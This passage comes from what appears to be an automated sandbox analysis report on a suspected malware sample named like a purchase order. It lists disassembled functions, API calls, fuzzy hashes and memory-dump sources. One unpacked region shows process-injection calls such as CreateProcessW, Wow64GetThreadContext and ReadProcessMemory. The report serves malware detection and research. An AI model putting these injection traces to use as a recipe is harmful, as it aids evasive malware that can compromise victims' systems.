                                                                                                                                                                      • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                                      • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                      • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                                      Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                      • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                                                                                      • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                      • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                                                                                      Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                                      • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                                      • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseOpenQueryValue
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3677997916-0
                                                                                                                                                                      • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                      • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                                      • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                      • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                                      Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _malloc.LIBCMT ref: 00435278
                                                                                                                                                                        • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                        • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                        • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                      • _malloc.LIBCMT ref: 00435288
                                                                                                                                                                      • _malloc.LIBCMT ref: 00435298
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _malloc$AllocateHeap
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 680241177-0
                                                                                                                                                                      • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                      • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                                      • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                      • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                                      Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID: @EXITCODE
                                                                                                                                                                      • API String ID: 580348202-3436989551
                                                                                                                                                                      • Opcode ID: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                                                                                                                      • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                                                                                                      • Opcode Fuzzy Hash: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                                                                                                                      • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                                                                                                      Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClearVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1473721057-0
                                                                                                                                                                      • Opcode ID: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                                                                                                                      • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
                                                                                                                                                                      • Opcode Fuzzy Hash: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                                                                                                                      • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                                                                                                                      Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                                                                                      • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                      • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                      • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                                                                                      • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                      • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                                                                                      Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __lock_file_memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 26237723-0
                                                                                                                                                                      • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                      • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                                      • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                      • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                                      Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                        • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                      • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                                        • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                                      • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 717694121-0
                                                                                                                                                                      • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                      • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                                      • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                      • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                                      Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                      • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message$DispatchTranslate
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1706434739-0
                                                                                                                                                                      • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                      • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                                                                                                      • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                      • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                                                                                                      Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                      • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message$DispatchTranslate
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1706434739-0
                                                                                                                                                                      • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                      • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                                                                                                      • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                      • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                                                                                                      Function 03EF28C5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 03EF3083
                                                                                                                                                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EF3119
                                                                                                                                                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EF313B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2438371351-0
                                                                                                                                                                      • Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                      • Instruction ID: d662c94f40817207a4ced079ea311993a5f97afc4f3d51f493220e52fa659f13
                                                                                                                                                                      • Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                      • Instruction Fuzzy Hash: B112CE24E14658C6EB24DF64D8507DEB232EF68300F10A1E9910DEB7A5E77A4F81CF5A
                                                                                                                                                                      Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                      • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                      • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                                                                                      • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                      • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                                                                                      Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                                      • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                                                                                                      • Opcode Fuzzy Hash: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                                      • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                                                                                                      Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProcWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 181713994-0
                                                                                                                                                                      • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                      • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                                                                                      • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                      • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                                                                                      Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateHeap
